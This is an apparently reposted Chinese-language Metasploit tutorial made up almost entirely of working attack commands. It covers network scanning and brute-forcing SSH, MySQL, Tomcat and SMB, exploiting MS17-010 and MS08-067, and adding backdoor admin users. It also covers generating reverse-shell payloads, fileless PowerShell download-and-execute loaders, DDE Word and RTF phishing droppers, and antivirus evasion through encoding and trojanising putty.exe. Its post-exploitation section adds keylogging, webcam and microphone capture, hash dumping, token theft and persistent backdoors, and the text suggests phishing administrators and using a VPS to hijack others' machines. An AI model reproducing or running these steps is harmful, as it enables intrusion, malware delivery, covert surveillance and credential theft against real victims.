08.Metasploit使用


MSF
主要是用於漏洞利用的
也被稱作漏洞框架,模塊化的東西

01 MSF信息收集模塊
02 MSF密碼破解模塊
03 MSF漏洞利用模塊
04 MSF各種PAYLOAD
05 MSF后滲透模塊

 

01 MSF信息收集模塊
//自己使用的話大多是getshell之后用來去提權

專業術語:
滲透攻擊(exploit)
測試者利用系統,程序,或服務的漏洞進行攻擊的一個過程。
攻擊載荷(payload)
攻擊者在目標系統上執行的一段攻擊代碼,該代碼具有返彈連接,創建用戶,執行其他系統命令的功能 shellcode
在目標機器上運行的一段機器指令,成功執行后會返回一個shell
模塊(module)
是指Metasploit框架中所使用的一段軟件代碼組件。
監聽器(listener)
監聽器是metasploit中用來等待介入網絡連接的組件。

MSF基礎知識:
運行msfconsole即可打開msf命令控制接口
打開后:
metasplpit v5.0.070 //版本很重要
1960 explopots攻擊模塊 1094 auxiliary輔助模塊 336 post 目標屏幕鍵盤流量
558 payloads 生成木馬 45 encoders 編碼加密 10 nops 填充空白代碼
7 evasion 躲避殺軟 //5.0之后才增加的模塊

運用方法:
help 命令的使用方法
show 模塊名 //查看不同模塊的詳細使用方法 show explopots

信息收集;
①whois查詢:
msf > whois example.com
msf> whois 192.168.1.100
②http://searchdns.netcraft.com/在線收集服務器 IP信息工具
③nslookup

nmap:
nmap -sS -A 192.168.194.138

高級掃描方式:
①msf> use auxiliary/scanner/ip/ipidseq #IPID序列掃描器,與 nmap的-sI -O選項類似
showoptions
set RHOSTS 192.168.1.0/24
set RPORT8080 setTHREADS 50
run


調用模塊的方法有兩種格式:
1.use 5 回車 // 直接調用模塊的序號
2.復制全部模塊的名稱
使用portscan模塊
search//搜索 portscan//掃描
1.search portscan //搜索下掃描模塊有哪些
里面包含了很多基於掃描的方法例如syn,tcp,xmas,http等
2.use 5 //調用tcp的方式去掃描
3.show options //查看需要設置該模塊的地方有哪些
4.set rhosts 192.168.194.138 //設置掃描的目標
5.show options //查看需要設置的模塊是否已經設置完成
6.setg threads 50 //給全局的模塊線程都設置為50
8.set ports 21-25,80,8001-8100,445,3306,3389,1433 //設置掃描的端口
9.run //直接回去掃
結果:3306 ,80.445

特定掃描
smb_version 模塊:
msf> use auxiliary/scanner/smb/smb_version //遍歷整個網絡ip查看是否開啟該服務
showoptions set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor

方法:
1.search smb_version //
2.use 0 //調用該模塊
3.show potions //查看需要設置該模塊的地方
4.setg rhosts 192.168.194.0/24 全局都掃描該目標
5.查看該主機有沒有開啟文件共享服務
6.對掃描出的服務進行爆破


找mssql主機 //掃描該服務的sqlsever數據庫開啟狀態
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
setTHREADS 255
run

方法:
1.use auxiliary/scanner/mssql/mssql_ping
2.show options
3.run //查看設置好后直接run

SSH服務掃描: ssh一般是LINUX主機開放的
msf> use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
setTHREADS 50
run

方法:
1.search ssh_version
2.use 3 //調用該模塊
3.show options
4.查看好設置后
5.run



telnet服務掃描 遠程連接

msf> use auxiliary/scanner/telnet/telnet_version
set RHOSTS 192.168.1.0/24
setTHREADS 50
run

方法:
1.search telnet_version
2.use 1
3.show optons
4.run


servives.asc 啟用就行

 

FTP 主機掃描
msf> use auxiliary/scanner/ftp/ftp_version
showoptions
set RHOSTS 192.168.1.0/24
setTHREADS 255
run

方法:search ftp_version
use 0

描 FTP 匿名登錄: // 有些內網的服務器為了員工上傳下載方便,會設置匿名權限
use auxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
setTHREADS 50
run

掃描局域網內有哪些主機存活
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.1.0/24
setTHREADS 50
run


掃描網站目錄 //字典不是很大針對windows的,指定ip,指定80端口,否則報錯
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.1
setTHREADS 50
run

搜索網站中的E-mail地址 //kali必須能上外網


search_email_collector
use auxiliary/gather/search_email_collector
set DOMAIN cracer.com
run


//做測試針對服務器可能沒有漏洞,這時候就開始管理員釣魚。
釣魚:word,文檔,鏈接


嗅 探抓包

msf> use auxiliary/sniffer/psnuffle
run

//這個功能很強大。

 

RART2:MSF密碼破解模塊
攻擊服務的方法:
1.漏洞利用
2.賬號爆破
3.服務欺騙
4.服務釣魚工具
5.ddos

ssh服務口令猜測
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.80.134
set USERNAME root
set PASS_FILE /root/pass.txt set THREADS 50
run

//服務名稱后面加_login都是用來爆破的
01 search ssh_login
02 use 0
03 show options
04 setg threads 50 //線程要設置
05 vi pass.txt //設置字典
06.setg pass_file /root/pass.txt
07 set username root //爆toor賬號,如果設置了爆破限制會封ip只能換ip爆破
08 set rhosts 192.168.194.140
09 show options
10 run

爆破完以后會建立一個 session 1 opened會話
會話的作用: 可以控制目標端
11 sessions -l //查看目前有多少個會話
12 sessions -i 1 //指定序號為1 //打開該會話
13 ls 查看目標機器的文件 //完成控制
14 ifconfig //查看目標機器ip
15 whoami //查看當前的權限
16 這個會話無法掛起,退出就失效了
17 ssh 192.168.194.140 yes 123123 //再去鏈接即可

root 無法使用外部ip去爆破,只能使用127.0.0.1 localhost,不過可以爆破其他賬號

mysql口令攻擊
search mysql
use auxiliary/scanner/mysql/mysql_login
show options
set RHOSTS 192.168.80.130
set user_file /root/user.txt
set pass_file /root/pass.txt
exploit

postgresql攻擊
search postgresql
use auxiliary/scanner/postgres/postgres_login
show options set RHOSTS 192.168.80.130
set user_file /root/user.txt
set pass_fiel /root/pass.txt
exploit

tomcat 攻擊
search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.1.1
set PASS_FILE /root/pass.txt
set USER_FILE /root/user.txt
exploit

set rhosts 192.168.8.128
run
登錄成功之后就上傳一個wa包也就是jsp的封包

telnet 攻擊

use auxiliary/scanner/telnet/telnet_version
set 192.168.1.1
exploit

set pass_file /root/pass.txt
set username administrator
setg threads 50
run

samba攻擊

use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.1 /192.168.1.0/24
set THREADS 200
exploit


如果爆出了 管理員賬號密碼,可他沒開telnet,rdp請問如何控制他

用psexec.exe \\192.168.8.128 -l administrator -p 123123
打開cmd.exe

smb爆破成功后會建立一個會話,
用Kali登錄會話的方法:
apt-get install telnet 下載telnet
Telnet 192.168.194.138
賬號 。密碼


PART 3:MSF 漏洞利用模塊
大體漏洞分為以下幾個:

遠程代碼執行漏洞
IE瀏覽器漏洞
服務漏洞
本地提權漏洞

復現永恆之藍

search arp_ //調用該模塊
use 0 //調用該模塊
show options
set rhosts 192.168.8.0/24
setg threads 50
show options
run
//測下有多少個主機


1.search smb_version
2.use 0
3.set rhosts 192.168.8.0/24
//查看開了445的有幾個主機

重新打開窗口

4.nmap --script smb-vuln* 192.168.194.138
等待掃描
5.出現ms17-010

轉到smf窗口
6.search ms17-010
7.use 3 //調用永恆之藍漏洞
8.show options
9.set rhosts 192.168.194.138
show targets //查看能攻擊的版本
10.run 開始利用
11.隨便敲個回車//進入sytym權限
12.ipconfig //確定Ip
13.whoami //查看權限
14.net user 1 1 /add //創建新用戶
15.net user //查看賬號
16.net localgroup administrators 1 /add 添加到管理員組
17.net user 1 //查看是否添加成功
18.rdesktop 192.168.8.125 鏈接3389
19.如果無法登陸,就用3389強制登陸器

給XP設置攻擊載荷


1.nmap --script smb-vuln* 192.168.194.138
2.找到有ms08-067漏洞
3.search ms08-067
4.use 0
5.show options
6.set rhosts 192.168.194.138
7.show targets //查看有哪些攻擊類型
8.set target 34 //nmap掃除他的版本號對應
9.攻擊成功之后我讓他給我返回一個攻擊載荷。而不是返回cmd,讓他返回后滲透攻擊模塊
10.set payload windows/meterpreter/reverse_tcp//設置payload
11.show options
12.set lhost 192.168.8.123 //設置回連的監聽地址
13.set lport 1122
14.show options
15.run
返回meterpreter后
16.ps //查看目標的進程
17.migrate 672 //遷移系統進程,因為原來的進程不穩定
18.這個時候就會有兩個進程,如果系統進程沒有崩潰,我就能一直控制目標進程
19.help
20.run vnc // 實時監控管理員桌面在干哈
21.shell //直接調用cmd
22.exit //退出返回meterpreter
23.background //掛起會話
24.sessions -l //查看會話
25.sessions -i 3 //調用會話

MS10-002 IE漏洞利用
//原理生成ie地址讓別人去訪問
use windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
show options
set SRVPORT 80
set URIPATH /
set LHOST 192.168.2.128
set LPORT 444
exploit

srvhost //設置自己的偵聽地址
srvport //設置本地偵聽的端口

1.use windows/browser/ms10_002_aurora
2.set srvhost 192.168.8.124
3.set payload windows/meterpreter/reverse_tcp //payload成功后還是植入回源代碼
4.show options
5.set lhost 192.138.8.124 //還是設置自己的偵聽位
6.set loprt 1123
7.run
8.復制地址發送給別人
9.netstat -tnlp //查看端口是否以偵聽
10.使用xp打開鏈接,建立會話
http://192.168.194.142:8080/0pH6FFcq


ps: 把msf放到vps里在偵聽本地端口的話這樣就能竊取別人機器了。ngrok也可以,前提是有漏洞。

MS12-020-嚴重 遠程代碼執行漏洞//服務得開3389
藍屏

1.search ms12-020
//會出現兩條,1是檢測該目標是否存在漏洞 0就是攻擊的
2.use 0
3.show options
4.set rhosts 192.168.8.128 //目標地址
5.run

用處在於事先設置好的文件時開機自動重啟的,但是目標不重啟,這時候你就讓他藍屏就會重啟。

cve 08-07利用

1.search 0708
2.use 3
3.show options
4.show targets//查看可攻擊目標
5.set rhosts 192.168.8.125//目標站
6.run

網上查資料

提權演示:
寫payload
1.msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.124 lport=1122 -f exe > 1.exe
2.關掉win10防火牆
3.脫出1.exe到win10
4.復制到win7 虛擬機
5.back 返回上一步
建立偵聽
6.use exploit/multi/handler建立偵聽等待鏈接
7.set payload windows/meterpreter/reverse_tcp //用哪一個生成就用哪一個payload
8.show options
9.set lhost 192.168.8.124 設置偵聽地址
10.set lport 1122 設置偵聽端口
11.run //建立偵聽開始
12.win7 打開1.exe
13.會話建立成
提權1
14.getuid //查看權限
15 list_tokens -u 查看是否有高權限會話
16.background //掛起會話
17.search sugge //查看漏洞尋找一個能夠查看目標系統哪些補丁沒打
提權2
18.search ms16-032 //本地提權漏洞
19.use 0
20.show optinos
21.set session 8 // 設置剛才的會話
22.show targets //查看能攻擊的系統
23 set target 1 //設置攻擊的系統
24.run
25.提權中
如果提權失敗
26.search ms15-051
27.use 0
28.set session 8
29.run
失敗
30.win7和08是一個6.0內核
31.08.2013.2012使用8120提權
32.search 8120
33.use 0
34.show options
35.set session 8
36.run
直接建立meterpreter
38.getudi

namp --script vuln 192.168.8.128 //掃描漏洞
namp --script smb-vuln* //掃所有的smb漏洞
nessus //掃漏洞

掃出來以后用

msd
search ms17-010 去搜索漏洞編號
use 利用

msfvenom簡介
msfpayload用來生成
msfencode用來編碼
msfvenom是msfpayload和msfencode的結合體,於2015年6月8日取代了msfpayload和msfencode。在此之后,metasploit-framework下面的的msfpayload(荷載生成器),msfencoder(編碼器),msfcli(監聽接口)都不再被支持。

msfvenom所有參數
-p -payload <payload> 指定需要使用的payload(攻擊載荷)。可以使用自定義payload,幾乎是支持全平台的
-l -list [module_type]列出指定模塊的所有可用資源,模塊類型包括:payloads,encoders,nops,all
-n -nopsled <length>為payload預先指定一個NOP滑動長度
-f -format <format> 指定輸出格式(使用 -help-formats 來獲取msf支持輸出格式列表)
-e -encoder [encoder]指定需要使用的encoder(編碼器),指定需要使用的編碼,如果既沒用-e選項也沒用-b選項,則輸出raw payload
-a -arch <architecture>指定payload的目標架構,例如*89|*64|-86_64
-platform <platform> 指定payload的目標平台
-s -space <length> 設定有效攻擊載荷的最大長度,就是文件大小
-b -bad-chars <list>設定規避字符集,指定需要過濾的壞字符例如:不使用"\x0f"、"\x00"
-i -iterations <count> 指定payload的編碼次數
-c -add-code < path > 指定一個附加的win32 shellcode文件
-x -template <path> 指定一個自定義的可執行文件作為模板,並將payload嵌入其中
-k -keep 保護模板程序的動作,注入的payload作為一個新的進程運行
-payload-options 列舉payload的標准選項
-o -out <path>指定創建好的payload的存放位置
-v -var-name <name>指定一個自定義的變量,以確定輸出格式
-shellest 最小化生成payload
-h -help 查看幫助選項
-help-formats 查看msf支持的輸出格式列表

 

常用參數

比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些選項,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options

msfvenom --list payloads可查看所有payloads
msfvenom --list encoders可查看所有編碼器
評級最高的兩個encoder為cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免殺中使用頻率最高的一個編碼器

類似可用msfvenom --list命令查看的還有payloads, encoders, nops, platforms, archs, encrypt, formats

1.msfvenom --list payloads //看一下所有payloads
2.windows/×64/meterpreter_bind_tcp
windows64位的操作系統使用,返回到后滲透模塊里,直連,走tcp協議
bing //直接,我們鏈接他
reverse//他來鏈接我,我做好偵聽即可

encoders //編碼
msfvenom --list encoders //可以查看用來編碼的方式有哪些
excellent //用得比較多,多態編碼,假的代碼是隨機性的

nops ,platforms,archs,encrypt,formats

監聽參數(重點)

防止假session
在實戰中,經常會遇到假session或者剛連接就斷開的情況,這里補充一些監聽參數,防止假死與假session。
msf exploit(multi/handler) > set ExitOnSession false
//可以在接收到seesion后繼續監聽端口,保持偵聽。
防止session意外退出
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
//默認情況下,如果一個會話將在5分鍾(300秒)沒有任何活動,那么它會被殺死,為防止此情況可將此項修改為0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
//默認情況下,一個星期(604800秒)后,會話將被強制關閉,修改為0可永久不會被關閉

handler后台持續監聽(重點)
msf exploit(multi/handler) > exploit -j -z
使用exploit -j -z可在后台持續監聽,-j為后台任務,-z為持續監聽,使用Jobs命令查看和管理后台任務。jobs -K可結束所有任務。
還有種比較快捷的建立監聽的方式,在msf下直接執行:
msf5 > handler -H 192.168.8.124 -P 1122 -p windows/meterpreter/reverse_tcp


payload的可持續化 //直接在生成payload的時候就直接進程遷移

一般來說使用msfvenom生成的payload會單獨開啟一個進程,這種進程很容易被發現和關閉,在后期想做持久化的時候只能再使用migrate進行。

其實在生成payload時可直接使用如下命令,生成的payload會直接注入到指定進程中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe

生成的shell程序執行后會啟動兩個進程shell.exe和svchost.exe,關閉其中一個不會影響會話狀態。 在上面的生成payload參數中:
(1)PrependMigrate=true PrependMigrateProc=svchost.exe 使這個程序默認會遷移到svchost.exe進程,自己測試的時候不建議到這個進程而是其他的持久進程。
(2)使用-p指定使用的攻擊載荷模塊,使用-e指定使用x86/shikata_ga_nai編碼器,使用-f選項告訴MSF編碼器輸出格式為exe,-o選項指定輸出的文件名為payload.exe,保存在根目錄下。


1.生成后找到shell.exe
2.復制到win10
3.在復制到03
4.打開shell.exe
5.sessions -l
6.sessions -i 1
7.ps // 即使把進程結束,也不會干擾到會話的存在
8.只要遷移到指定的進程,會話會更加穩定一些。

各平台payload生成

Linux //32位等於x86 64位等於64
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -a x86 --platform Linux -f elf > shell.elf

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
show options
set lhost 192.168.194.142
set lport 1123
run

Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -f exe > shell.exe

Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 R > test.apk

 

生成腳本payload

內網會講

Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.8.124 LPORT=1122 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1 Netcat
nc正向連接
msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.8.124 LPORT=1122 -f exe> 1.exe
nc反向連接,監聽
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.124 LPORT=1122 -f exe> 1.exe


生成腳本payload

PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php //用php調用的會話被閹割,無法提權


ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

偵聽Handlers

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST 192.168.8.124
set LPORT 1122
set ExitOnSession false exploit -j -z


Powershell 配合msf無文件攻擊
//無文件攻擊就是直接加載到內存里面運行
//也就是遠程加載內存腳本進行攻擊

//正常需要上傳的文件會被溯源到,但無文件就不會

//原理:kali生成ps腳本,放到能被訪問到的公網vps,給目標站發送指令到公網去加載ps文件。一旦運行就會反彈給kali,kali只需要偵聽目標站
生成ps腳本
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1121 -f psh-reflection >x.ps1
設置偵聽
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
Set lhost 192.168.3.107
Run

客戶端運行
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.8.1/x.ps1')


實戰:
1.msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.194.142 LPORT=1125 -f psh-reflection >x.ps1 //在kali先生成文件

2. use exploit/multi/handler
3.set payload windows/x64/meterpreter/reverse_tcp //設置偵聽
4.show options
5.set lport 1125
6.run

放到vps里 ,假設物理機是vps是網站

7.把x.ps1放到vps根目錄下

在目標機里訪問物理機地址

8.10.0.0.8/x.ps1
9. powershell IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.8/x.ps1')

10.kali反彈回鏈接了
可以先getshell 或者釣魚讓目標主機來訪問vps的x.ps1

 

Powershell配合word偽裝木馬執行
新建word設置域,
DDEAUTO?C:\\windows\\system32\\cmd.exe?"/k?powershell?IEX?(New-Object?Net.WebClient).DownloadString('http://192.168.3.1/x.ps1')?"


1.win7里 打開:winword新建文檔
2.ctrl+f9 //寫入域代碼
3.DDEAUTO?C:\\windows\\system32\\cmd.exe?"/k?powershell?IEX?(New-Object?Net.WebClient).DownloadString('http://192.168.3.1/x.ps1')?"

4.偵聽端口
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 1125
run
5.win7打開word

 

msf使用宏釣魚

1.git clone https://github.com/bhdresh/CVE-2017-8759.git //下載文件
2.python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.8.131/logo.txt //用py運行生成rtf的文件,偵聽自己(公網)地址
3.會生成一個rtf文件
4.msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1133 -f exe > /root/shell.exe //用msf生成一個payload
//把shell.exe放到CVE文件夾里

進行捆綁相當於打開會話
5.python cve-2017-8759_toolkit.py -M exp -e http://192.168.8.124/shell.exe -l shell.exe //打開80端口如果 已經打開,關閉即可
/etc/init.d/apache2 stop //關閉80
建立偵聽

6.msfconsole
7. use exploit/multi/handler
8.set payload windows/x64/meterpreter/reverse_tcp //設置偵聽模塊
9.set lhost 192.168.194.142
10.set lport 1133
11.run

發送使用
12.將rtf文件放進目標win7系統執行
一旦打開后就會加cve里的shell到win7本地去運行,一旦加載就會去建立反彈鏈接


使用ngrock穿透內網port

設置ngrock隧道
本機安裝客戶端
./sunny clientid id號

ngrock服務器,等於購買了公網的Ip和公網端口
例如公網ip264.165.256.664 1003

本地的kali打開ngrok監聽264.165.256.664 1003端口
再去訪問目標站ip。目標ip所接受到的ip是264.165.256.661
用途:生成payload 和提權時候用的

官網ngrock.cc

注冊,關注公眾號,進入

隧道管理---開通隧道
例如免費:
協議可選tcp
隧道名稱,自選
遠程端口 10003
127.0.0.1:10003
確定添加
確定開通

記住隧道id復制一下
下載客戶端
下載KAli64 位
安裝


./sunny clientid 粘貼id
等待鏈接online 就代表鏈接成功
該窗口要一直開啟不要關閉
生成時候就可以寫公網地址
該公網地址建議解析ip
msfvenom -p windows/meterpreter/reverse_tcp lhost=64.69.43.237 lport=10840 -f exe > a.exe
//一旦鏈接就反彈到64.69.43.237

偵聽

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 10840
run
把馬發送出去就完事了

不論是什么文件是要同樂ngrok就可以


Msf5-Evasion模塊免殺

2019年1月,metasploit升級到了5.0,引入了一個新的模塊叫Evasion模塊,官方宣稱這個模塊可以創建反殺毒軟件的木馬。
evasion有以下幾個模塊,可以使用show evasion進行查看

過windows,defender防火牆的免殺模塊

使用use windows/windows_defender_exe進行生成payload
msf5 > use windows/windows_defender_exe
msf5 evasion(windows/windows_defender_exe) > set filename payload.exe
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_exe) > set LHOST 192.168.8.124
msf5 evasion(windows/windows_defender_exe) > set LPORT 1122
msf5 evasion(windows/windows_defender_exe) > run
設置偵聽
handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp


1.use windows/windows_defender_exe
2.show options
3.set filename ev.exe
4.set payload windows/meterpreter/reverse_tcp
5.set lhost 192.168.8.124
6.set lport 1177
7.run //查看生成目錄
8.cp 目錄 /root目錄下
9.handler -H 192.168.8.124 -P 1177 -p windows/meterpreter/reverse_tcp //設置偵聽
10.放進win10被殺了哈哈哈
查看最新免殺視頻可以去油管搜索 bypass av msf


捆綁免殺
生成payload 捆綁putty.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -x putty.exe -f exe -o payload3.exe

捆綁編碼免殺
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o payload4.exe

多重編碼免殺
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.8.124 LPORT=1122 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > shell.exe

http://virustotal.com/ 驗證靜態免殺 bypass 可以先去驗證下


shellter免殺
shellcode代碼注入工具
https://www.shellterproject.com/download/
進入后下載即可,這是windows如果要kali得安裝一個win的環境

kali使用需要下載
apt-get install shellter

shellert執行 過殺軟
報錯就根據提示安裝執行程序即可

1.a // 打開后會提示手動還是自動
2.放入工具包中的putty.exe //輸入目標
/root/putty.exe
3.y //是的啟用模式
4.L
5.1 //調用TCP反彈鏈接
6.192.168.8.124 偵聽地址
7.1155 偵聽端口
8.把putty.exe放進帶有殺毒軟件的win7
9.set payload windows/meterpreter/reverse_tcp //kali建立偵聽
10.set lhost 192.168.8.124
11.set lport 1155
12.run


免殺msfpayload 生成py文件
生產py文件的payload
1.msfVENOM -p windows/x64/meterpreter/reverse_tcp LPORT=10003 LHOST=119.28.66.234 -e x86/shikata_ga_nai -i 17 -f py -o /root/121.py
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.194.142 LPORT=1155 -i 11 -f py -o mss.py

建立偵聽

2.把生成出來的py文件記事本打開
3.打開msf-py-bypass.txt
4.復制頭加入py文件
5.復制尾巴加入py文件
6.保存
生成exe
7.把pyinstaller-2.0 (1).zip解壓到py27目錄下】
8.再把msf.py復制到 py27目錄下
9.打開windows powershell 打開cmd
10 python.exe pyinstaller-2.0\pyinstaller.py --console --onefile msf.py 回車
11.成功后有msf.exe


MSF后滲透模塊

控制會話反彈鏈接的框架
什么是Meterpreter
//並不是所有會話都能開此功能
需要:
1.看權限 //返回的shell權限高的話都能用
2.看payload 所有的腳本協議
php/meterpreter/reverse_tcp 腳本
windows/meterpreter/reverse_tcp 執行程序
都能生成會話就得看平台腳本權限以及屬性
php提權得有一定的執行能力以及權限基礎才可以
exe是主程序建立會話
區分方法:use incognito //exe可以,但php不行
例如:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.124 lport=1122 -f exe > aa.exe
aa.exe拖進win3
msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show
set lhost 192.168.8.124
set lport 1122
run //偵聽上
win3打開后鏈接成功會話進入meterpreter模塊
后滲透正式開始

1.help//查看幫助命令 ,核心命令
background //掛起會話
sessions -l //查看會話
sessions -i 1 //調用會話
sessions -k 1 //刪除會話
2.文件系統管理命令
cat //查看文件內容
cd //切換路徑
checksum 檢查文件屬性
cp //復制
dir //查看目錄
download 下載
epid編輯
mkdir 創建目錄
mv 移動
pwd查看

3.網絡代理的操作命令
4.系統命令
5.獲取用戶的命令
6.攝像頭命令
7.下載目標sam文件,拿到本地破解


基本命令
進程遷移
run posy/windows/manage/migrate
關閉殺軟
run kilav //不一定殺的斯,有驅動保護
通過shell來關閉防火牆
netsh adcfirewall set allprpfiles state off //看系統執行命令
查看目標機所有流量
run packetrecorder -i 1
提取系統信息
run scraper
ps查看進程
migrate 1774 切換進程
截屏 screenshot
獲取系統運行的平台 sysinfo

文件系統命令
可以先dir看看文件,在pwd看看當前路徑,然后 cd c:\\進入系統盤,一定要雙斜杠
cat a.txt //查看內容
rm c:\\a.txt //刪除內容
upload /root/aa.txt aaa.txt 上傳文件
download c:\\boot.ini/root 下載文件
edit c:/boot.ini // 編輯文件
mkdir dier test //在受害者系統上創建目錄
rmdir //在受害者系統上刪除目錄
dir 列出目標主機名和文件件
mv 修改目標主機上的文件名
search -d d:\\www -f web.config 如 search -d c:\\ -f*.doc
run vnc 查看桌面

run getgui -e 開啟目標主機遠程桌面 3389
重新開啟窗口 rdesktop 192.168.8.124 進入遠程桌面
sysinfo 命令為顯示遠程主機的系統信息版本
execute -f notepad.exe 遠程開啟記事本
execute -h 顯示幫助信息。 -f為執行要運行的命令
如果希望隱藏后台執行,加參數-H 如execute -H -f notepad.exe

攝像頭命令
record_mic 音頻錄制
webcam_chat 查看攝像頭接口
webcam_list 查看攝像頭列表
webcam_stream 攝像頭視頻獲取

端口轉發
如果目標在內網我們使用ngroks連接的就無法直接連接
只需要portfwd add -l 4444 -p 3389 -r 19.168.8.124 //端口轉發,本地監聽4444,把目標機的3389轉到本機4444
連接時候就 rdesktop -u 127.0.0.01:4444


鍵盤記錄
keyscan_start :開啟鍵盤記錄功能
keyscan_dump : 顯示捕捉到的鍵盤記錄信息
keyscan_stop : 停止鍵盤記錄

add user username password -h ip 在遠程主機添加用戶
add group user "Domain Admins" username -h ip 將用戶添加管理員組


hash獲取

hashdump
看到用戶的hash 去最后一段去破解

盜取令牌
use incognito //先加載一下 用來盜取主機令牌身份
list_tokens -u 列出目標主機用戶的可用令牌
list_tokens -g 列出目標主機用戶組的可用令牌
impersonate_token "粘貼身份令牌"

持久控制服務器

前提條件服務器系統可以
run metsvc 安裝后門
msfconsole
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set LPORT 31337
set RHOST 192.168.2.131
run


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM